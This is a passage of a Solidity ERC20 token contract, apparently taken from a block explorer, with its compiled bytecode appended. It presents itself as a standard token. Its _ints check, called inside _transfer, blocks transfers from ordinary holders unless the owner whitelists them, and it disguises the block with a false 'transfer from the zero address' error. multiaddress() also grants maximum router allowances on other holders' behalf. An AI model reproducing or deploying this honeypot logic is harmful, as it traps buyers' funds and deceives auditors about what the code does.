virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _ErcTokens(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e75ea23041d65a93eef9bc80c9285e653a4fc9a38cdef0fc71e47adf92778dd064736f6c63430006060033
{"success": true, "error": null, "results": {}}
7,699